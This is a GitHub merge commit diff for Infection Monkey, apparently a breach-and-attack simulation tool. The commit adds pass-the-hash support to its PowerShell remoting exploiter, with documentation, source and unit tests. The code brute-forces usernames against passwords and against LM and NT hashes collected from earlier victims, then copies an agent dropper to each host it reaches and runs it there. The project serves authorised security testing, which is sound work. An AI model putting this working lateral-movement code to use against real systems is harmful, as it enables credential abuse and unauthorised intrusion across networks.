Merge pull request #1449 from guardicore/powershell-exploiter-ntlm-hashes

Use LM and NT hashes in powershell exploiter
This commit is contained in:
VakarisZ 2021-09-09 11:56:02 +03:00 committed by GitHub
commit dec2fc43c2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
12 changed files with 331 additions and 102 deletions

View File

@ -22,8 +22,9 @@ The PowerShell exploiter can be run from both Linux and Windows attackers. On
Windows attackers, the exploiter has the ability to use the cached username Windows attackers, the exploiter has the ability to use the cached username
and/or password from the current user. On both Linux and Windows attackers, the and/or password from the current user. On both Linux and Windows attackers, the
exploiter uses all combinations of the [user-configured usernames and exploiter uses all combinations of the [user-configured usernames and
passwords]({{< ref "/usage/configuration/basic-credentials" >}}). Different passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as
combinations of credentials are attempted in the following order: and LM or NT hashes that have been collected. Different combinations of
credentials are attempted in the following order:
1. **Cached username and password (Windows attacker only)** - The exploiter will 1. **Cached username and password (Windows attacker only)** - The exploiter will
use the stored credentials of the current user to attempt to log into the use the stored credentials of the current user to attempt to log into the
@ -47,6 +48,16 @@ combinations of credentials are attempted in the following order:
all combinations of usernames and passwords that were set in the all combinations of usernames and passwords that were set in the
[configuration.]({{< ref "/usage/configuration/basic-credentials" >}}) [configuration.]({{< ref "/usage/configuration/basic-credentials" >}})
1. **Brute force usernames and LM hashes** - The exploiter will attempt to use
all combinations of usernames that were set in the [configuration]({{< ref
"/usage/configuration/basic-credentials" >}}) and LM hashes that were
collected from any other victims.
1. **Brute force usernames and NT hashes** - The exploiter will attempt to use
all combinations of usernames that were set in the [configuration]({{< ref
"/usage/configuration/basic-credentials" >}}) and NT hashes that were
collected from any other victims.
#### Securing PowerShell Remoting #### Securing PowerShell Remoting

View File

@ -17,7 +17,7 @@ class PowerShell(ConfigTemplate):
"internal.classes.finger_classes": ["PingScanner"], "internal.classes.finger_classes": ["PingScanner"],
"internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [], "internal.network.tcp_scanner.tcp_target_ports": [],
"internal.classes.exploits.exploit_ntlm_hash_list": [ "internal.exploits.exploit_ntlm_hash_list": [
"d0f0132b308a0c4e5d1029cc06f48692", "d0f0132b308a0c4e5d1029cc06f48692",
], ],
} }

View File

@ -6,21 +6,25 @@ import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.exploit.powershell_utils.auth_options import ( from infection_monkey.exploit.powershell_utils.auth_options import (
AUTH_NEGOTIATE, AUTH_NEGOTIATE,
ENCRYPTION_AUTO, ENCRYPTION_AUTO,
AuthOptions, AuthOptions,
get_auth_options, get_auth_options,
) )
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials from infection_monkey.exploit.powershell_utils.credentials import (
Credentials,
SecretType,
get_credentials,
)
from infection_monkey.exploit.powershell_utils.powershell_client import ( from infection_monkey.exploit.powershell_utils.powershell_client import (
AuthenticationError, AuthenticationError,
IPowerShellClient, IPowerShellClient,
PowerShellClient, PowerShellClient,
) )
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import VictimHost from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -49,7 +53,11 @@ class PowerShellExploiter(HostExploiter):
return False return False
credentials = get_credentials( credentials = get_credentials(
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() self._config.exploit_user_list,
self._config.exploit_password_list,
self._config.exploit_lm_hash_list,
self._config.exploit_ntlm_hash_list,
is_windows_os(),
) )
auth_options = get_auth_options(credentials, is_https) auth_options = get_auth_options(credentials, is_https)
@ -88,7 +96,8 @@ class PowerShellExploiter(HostExploiter):
def _try_ssl_login(self, use_ssl: bool): def _try_ssl_login(self, use_ssl: bool):
credentials = Credentials( credentials = Credentials(
username="dummy_username", username="dummy_username",
password="dummy_password", secret="dummy_password",
secret_type=SecretType.PASSWORD,
) )
auth_options = AuthOptions( auth_options = AuthOptions(
@ -103,25 +112,42 @@ class PowerShellExploiter(HostExploiter):
self, credentials: List[Credentials], auth_options: List[AuthOptions] self, credentials: List[Credentials], auth_options: List[AuthOptions]
) -> Optional[IPowerShellClient]: ) -> Optional[IPowerShellClient]:
for (creds, opts) in zip(credentials, auth_options): for (creds, opts) in zip(credentials, auth_options):
try: client = PowerShellClient(self.host.ip_addr, creds, opts)
client = PowerShellClient(self.host.ip_addr, creds, opts) if self._is_client_auth_valid(creds, client):
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}"
)
self.report_login_attempt(True, creds.username, creds.password)
return client return client
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Error: {ex}"
)
self.report_login_attempt(False, creds.username, creds.password)
return None return None
def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
try:
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._report_login_attempt(True, creds)
return True
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
self._report_login_attempt(False, creds)
return False
def _report_login_attempt(self, result: bool, credentials: Credentials):
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
self.report_login_attempt(result, credentials.username, password=credentials.secret)
elif credentials.secret_type == SecretType.LM_HASH:
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
elif credentials.secret_type == SecretType.NT_HASH:
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
else:
raise ValueError(f"Unknown secret type {credentials.secret_type}")
def _execute_monkey_agent_on_victim(self) -> bool: def _execute_monkey_agent_on_victim(self) -> bool:
arch = self._client.get_host_architecture() arch = self._client.get_host_architecture()
self.is_32bit = arch == WIN_ARCH_32 self.is_32bit = arch == WIN_ARCH_32
@ -167,7 +193,7 @@ class PowerShellExploiter(HostExploiter):
monkey_local_file.write(monkey_virtual_file.read()) monkey_local_file.write(monkey_virtual_file.read())
def _run_monkey_executable_on_victim(self, executable_path) -> None: def _run_monkey_executable_on_victim(self, executable_path) -> None:
monkey_execution_command = utils.build_monkey_execution_command( monkey_execution_command = build_monkey_execution_command(
self.host, get_monkey_depth() - 1, executable_path self.host, get_monkey_depth() - 1, executable_path
) )
@ -176,3 +202,18 @@ class PowerShellExploiter(HostExploiter):
) )
self._client.execute_cmd_as_detached_process(monkey_execution_command) self._client.execute_cmd_as_detached_process(monkey_execution_command)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
target_host=host,
depth=depth,
vulnerable_port=None,
location=executable_path,
)
return RUN_MONKEY % {
"monkey_path": executable_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}

View File

@ -21,9 +21,9 @@ def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[Auth
for creds in credentials: for creds in credentials:
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
ssl = False if creds.password == "" else use_ssl ssl = False if creds.secret == "" else use_ssl
auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE auth_type = AUTH_BASIC if creds.secret == "" else AUTH_NEGOTIATE
encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO encryption = ENCRYPTION_NEVER if creds.secret == "" else ENCRYPTION_AUTO
auth_options.append(AuthOptions(auth_type, encryption, ssl)) auth_options.append(AuthOptions(auth_type, encryption, ssl))

View File

@ -1,21 +1,36 @@
from dataclasses import dataclass from dataclasses import dataclass
from enum import Enum
from itertools import product from itertools import product
from typing import List, Union from typing import List, Union
class SecretType(Enum):
CACHED = 1
PASSWORD = 2
LM_HASH = 3
NT_HASH = 4
@dataclass @dataclass
class Credentials: class Credentials:
username: Union[str, None] username: Union[str, None]
password: Union[str, None] secret: Union[str, None]
secret_type: SecretType
def get_credentials( def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool usernames: List[str],
passwords: List[str],
lm_hashes: List[str],
nt_hashes: List[str],
is_windows: bool,
) -> List[Credentials]: ) -> List[Credentials]:
credentials = [] credentials = []
credentials.extend(_get_empty_credentials(is_windows)) credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows)) credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords)) credentials.extend(_get_username_password_credentials(usernames, passwords))
credentials.extend(_get_username_lm_hash_credentials(usernames, lm_hashes))
credentials.extend(_get_username_nt_hash_credentials(usernames, nt_hashes))
return credentials return credentials
@ -24,7 +39,7 @@ def get_credentials(
# will be used to attempt to log into the victim. # will be used to attempt to log into the victim.
def _get_empty_credentials(is_windows: bool) -> List[Credentials]: def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
if is_windows: if is_windows:
return [Credentials(username=None, password=None)] return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)]
return [] return []
@ -32,11 +47,17 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
# On Windows systems, when password == None, the current user's password will bu used to attempt to # On Windows systems, when password == None, the current user's password will bu used to attempt to
# log into the victim. # log into the victim.
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
credentials = [Credentials(username=username, password="") for username in usernames] credentials = [
Credentials(username=username, secret="", secret_type=SecretType.PASSWORD)
for username in usernames
]
if is_windows: if is_windows:
credentials.extend( credentials.extend(
[Credentials(username=username, password=None) for username in usernames] [
Credentials(username=username, secret=None, secret_type=SecretType.CACHED)
for username in usernames
]
) )
return credentials return credentials
@ -45,6 +66,27 @@ def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> Li
def _get_username_password_credentials( def _get_username_password_credentials(
usernames: List[str], passwords: List[str] usernames: List[str], passwords: List[str]
) -> List[Credentials]: ) -> List[Credentials]:
username_password_pairs = product(usernames, passwords) return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD)
return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs]
def _get_username_lm_hash_credentials(
usernames: List[str], lm_hashes: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH)
def _get_username_nt_hash_credentials(
usernames: List[str], nt_hashes: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH)
def _get_username_secret_credentials(
usernames: List[str], secrets: List[str], secret_type: SecretType
) -> List[Credentials]:
username_secret_pairs = product(usernames, secrets)
return [
Credentials(credentials[0], credentials[1], secret_type)
for credentials in username_secret_pairs
]

View File

@ -1,6 +1,6 @@
import abc import abc
import logging import logging
from typing import Union from typing import Optional, Union
import pypsrp import pypsrp
import spnego import spnego
@ -12,7 +12,7 @@ from urllib3 import connectionpool
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
from infection_monkey.model import GET_ARCH_WINDOWS from infection_monkey.model import GET_ARCH_WINDOWS
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -27,6 +27,22 @@ def _set_sensitive_packages_log_level_to_error():
logging.getLogger(package.__name__).setLevel(logging.ERROR) logging.getLogger(package.__name__).setLevel(logging.ERROR)
def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED:
return None
if credentials.secret_type == SecretType.PASSWORD:
return credentials.secret
if credentials.secret_type == SecretType.LM_HASH:
return f"{credentials.secret}:00000000000000000000000000000000"
if credentials.secret_type == SecretType.NT_HASH:
return f"00000000000000000000000000000000:{credentials.secret}"
raise ValueError(f"Unknown secret type {credentials.secret_type}")
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
@abc.abstractmethod @abc.abstractmethod
def execute_cmd(self, cmd: str) -> str: def execute_cmd(self, cmd: str) -> str:
@ -53,7 +69,7 @@ class PowerShellClient(IPowerShellClient):
self._client = Client( self._client = Client(
ip_addr, ip_addr,
username=credentials.username, username=credentials.username,
password=credentials.password, password=format_password(credentials),
cert_validation=False, cert_validation=False,
auth=auth_options.auth_type, auth=auth_options.auth_type,
encryption=auth_options.encryption, encryption=auth_options.encryption,
@ -61,16 +77,13 @@ class PowerShellClient(IPowerShellClient):
connection_timeout=CONNECTION_TIMEOUT, connection_timeout=CONNECTION_TIMEOUT,
) )
# attempt to execute dir command to know if authentication was successful
self.execute_cmd("dir")
def execute_cmd(self, cmd: str) -> str: def execute_cmd(self, cmd: str) -> str:
output, _, _ = self._client.execute_cmd(cmd) output, _, _ = self._client.execute_cmd(cmd)
return output return output
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
output = self._client.execute_cmd(GET_ARCH_WINDOWS) stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
if "64-bit" in output: if "64-bit" in stdout:
return WIN_ARCH_64 return WIN_ARCH_64
return WIN_ARCH_32 return WIN_ARCH_32

View File

@ -1,17 +0,0 @@
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
target_host=host,
depth=depth,
vulnerable_port=None,
location=executable_path,
)
return RUN_MONKEY % {
"monkey_path": executable_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}

View File

@ -6,12 +6,12 @@ from infection_monkey.exploit.powershell_utils.auth_options import (
ENCRYPTION_NEVER, ENCRYPTION_NEVER,
get_auth_options, get_auth_options,
) )
from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
CREDENTIALS = [ CREDENTIALS = [
Credentials("user1", "password1"), Credentials("user1", "password1", SecretType.PASSWORD),
Credentials("user2", ""), Credentials("user2", "", SecretType.PASSWORD),
Credentials("user3", None), Credentials("user3", None, SecretType.CACHED),
] ]

View File

@ -1,44 +1,97 @@
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials from infection_monkey.exploit.powershell_utils.credentials import (
Credentials,
SecretType,
get_credentials,
)
TEST_USERNAMES = ["user1", "user2"] TEST_USERNAMES = ["user1", "user2"]
TEST_PASSWORDS = ["p1", "p2"] TEST_PASSWORDS = ["p1", "p2"]
TEST_LM_HASHES = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"]
TEST_NT_HASHES = ["cccccccccccccccccccccccccccccccc", "dddddddddddddddddddddddddddddddd"]
def test_get_credentials__empty_windows_true(): def test_get_credentials__empty_windows_true():
credentials = get_credentials([], [], True) credentials = get_credentials([], [], [], [], True)
assert len(credentials) == 1 assert len(credentials) == 1
assert credentials[0] == Credentials(username=None, password=None) assert credentials[0] == Credentials(username=None, secret=None, secret_type=SecretType.CACHED)
def test_get_credentials__empty_windows_false(): def test_get_credentials__empty_windows_false():
credentials = get_credentials([], [], False) credentials = get_credentials([], [], [], [], False)
assert len(credentials) == 0 assert len(credentials) == 0
def test_get_credentials__username_only_windows_true(): def test_get_credentials__username_only_windows_true():
credentials = get_credentials(TEST_USERNAMES, [], True) credentials = get_credentials(TEST_USERNAMES, [], [], [], True)
assert len(credentials) == 5 assert len(credentials) == 5
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials assert (
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD)
assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials in credentials
assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials )
assert (
Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[0], secret=None, secret_type=SecretType.CACHED)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[1], secret=None, secret_type=SecretType.CACHED)
in credentials
)
def test_get_credentials__username_only_windows_false(): def test_get_credentials__username_only_windows_false():
credentials = get_credentials(TEST_USERNAMES, [], False) credentials = get_credentials(TEST_USERNAMES, [], [], [], False)
assert len(credentials) == 2 assert len(credentials) == 2
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials assert (
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
assert (
Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD)
in credentials
)
def test_get_credentials__username_password_windows_true(): def test_get_credentials__username_password_windows_true():
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True) credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True)
assert len(credentials) == 9 assert len(credentials) == 9
for user in TEST_USERNAMES: for user in TEST_USERNAMES:
for password in TEST_PASSWORDS: for password in TEST_PASSWORDS:
assert Credentials(username=user, password=password) in credentials assert (
Credentials(username=user, secret=password, secret_type=SecretType.PASSWORD)
in credentials
)
def test_get_credentials__username_lm_hash_windows_false():
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False)
assert len(credentials) == 10
for user in TEST_USERNAMES:
for lm_hash in TEST_LM_HASHES:
assert (
Credentials(username=user, secret=lm_hash, secret_type=SecretType.LM_HASH)
in credentials
)
def test_get_credentials__username_nt_hash_windows_false():
credentials = get_credentials(
TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False
)
assert len(credentials) == 14
for user in TEST_USERNAMES:
for nt_hash in TEST_NT_HASHES:
assert (
Credentials(username=user, secret=nt_hash, secret_type=SecretType.NT_HASH)
in credentials
)

View File

@ -0,0 +1,52 @@
import pytest
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
from infection_monkey.exploit.powershell_utils.powershell_client import format_password
def test_format_cached_credentials():
expected = None
creds = Credentials("test_user", expected, SecretType.CACHED)
actual = format_password(creds)
assert expected == actual
def test_format_password():
expected = "test_password"
creds = Credentials("test_user", expected, SecretType.PASSWORD)
actual = format_password(creds)
assert expected == actual
def test_format_lm_hash():
lm_hash = "c080132b6f2a0c4e5d1029cc06f48a92"
expected = f"{lm_hash}:00000000000000000000000000000000"
creds = Credentials("test_user", lm_hash, SecretType.LM_HASH)
actual = format_password(creds)
assert expected == actual
def test_format_nt_hash():
nt_hash = "c080132b6f2a0c4e5d1029cc06f48a92"
expected = f"00000000000000000000000000000000:{nt_hash}"
creds = Credentials("test_user", nt_hash, SecretType.NT_HASH)
actual = format_password(creds)
assert expected == actual
def test_invalid_secret_type():
creds = Credentials("test_user", "secret", "Bogus_Secret")
with pytest.raises(ValueError):
format_password(creds)

View File

@ -1,13 +0,0 @@
from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.model.host import VictimHost
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")
depth = 2
executable_path = "/tmp/test-monkey"
cmd = utils.build_monkey_execution_command(host, depth, executable_path)
assert f"-d {depth}" in cmd
assert executable_path in cmd

View File

@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost
USER_LIST = ["user1", "user2"] USER_LIST = ["user1", "user2"]
PASSWORD_LIST = ["pass1", "pass2"] PASSWORD_LIST = ["pass1", "pass2"]
LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
DROPPER_TARGET_PATH_32 = "C:\\agent32" DROPPER_TARGET_PATH_32 = "C:\\agent32"
DROPPER_TARGET_PATH_64 = "C:\\agent64" DROPPER_TARGET_PATH_64 = "C:\\agent64"
@ -19,6 +21,8 @@ Config = namedtuple(
[ [
"exploit_user_list", "exploit_user_list",
"exploit_password_list", "exploit_password_list",
"exploit_lm_hash_list",
"exploit_ntlm_hash_list",
"dropper_target_path_win_32", "dropper_target_path_win_32",
"dropper_target_path_win_64", "dropper_target_path_win_64",
], ],
@ -33,9 +37,17 @@ class TestAuthenticationError(Exception):
def powershell_exploiter(monkeypatch): def powershell_exploiter(monkeypatch):
host = VictimHost("127.0.0.1") host = VictimHost("127.0.0.1")
pe = powershell.PowerShellExploiter(host) pe = powershell.PowerShellExploiter(host)
pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64) pe._config = Config(
USER_LIST,
PASSWORD_LIST,
LM_HASH_LIST,
NT_HASH_LIST,
DROPPER_TARGET_PATH_32,
DROPPER_TARGET_PATH_64,
)
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
# it's necessary to avoid having to deal with the monkeyfs # it's necessary to avoid having to deal with the monkeyfs
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
@ -78,7 +90,7 @@ def test_powershell_https(monkeypatch, powershell_exploiter):
powershell_exploiter.exploit_host() powershell_exploiter.exploit_host()
for call_args in mock_powershell_client.call_args_list: for call_args in mock_powershell_client.call_args_list:
if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password": if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password":
assert call_args[0][2].ssl assert call_args[0][2].ssl
@ -92,7 +104,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter):
def authenticate(mock_client): def authenticate(mock_client):
def inner(_, credentials: Credentials, auth_options: AuthOptions): def inner(_, credentials: Credentials, auth_options: AuthOptions):
if credentials.username == "user1" and credentials.password == "pass2": if credentials.username == "user1" and credentials.secret == "pass2":
return mock_client return mock_client
else: else:
raise TestAuthenticationError("Invalid credentials") raise TestAuthenticationError("Invalid credentials")
@ -106,25 +118,23 @@ def authenticate(mock_client):
) )
def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
mock_client = MagicMock() mock_client = MagicMock()
mock_client.get_host_architecture = lambda: arch mock_client.return_value.get_host_architecture = lambda: arch
mock_client.copy_file = MagicMock(return_value=True) mock_client.return_value.copy_file = MagicMock(return_value=True)
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
success = powershell_exploiter.exploit_host() success = powershell_exploiter.exploit_host()
assert dropper_target_path in mock_client.copy_file.call_args[0][1] assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1]
assert success assert success
def test_failed_copy(monkeypatch, powershell_exploiter): def test_failed_copy(monkeypatch, powershell_exploiter):
mock_client = MagicMock() mock_client = MagicMock()
mock_client.get_host_architecture = lambda: WIN_ARCH_32 mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
mock_client.copy_file = MagicMock(return_value=False) mock_client.return_value.copy_file = MagicMock(return_value=False)
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
success = powershell_exploiter.exploit_host() success = powershell_exploiter.exploit_host()
assert not success assert not success
@ -141,3 +151,40 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
success = powershell_exploiter.exploit_host() success = powershell_exploiter.exploit_host()
assert not success assert not success
def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
mock_client = MagicMock()
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
mock_client.return_value.copy_file = MagicMock(return_value=True)
# execute_cmd method will throw exceptions for 5 first calls.
# 6-th call doesn't throw an exception == credentials successful
execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True]
mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
powershell_exploiter.exploit_host()
# Total 6 attempts reported, 5 failed and 1 succeeded
assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns)
assert (
len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]])
== 5
)
assert (
len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]])
== 1
)
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")
depth = 2
executable_path = "/tmp/test-monkey"
cmd = powershell.build_monkey_execution_command(host, depth, executable_path)
assert f"-d {depth}" in cmd
assert executable_path in cmd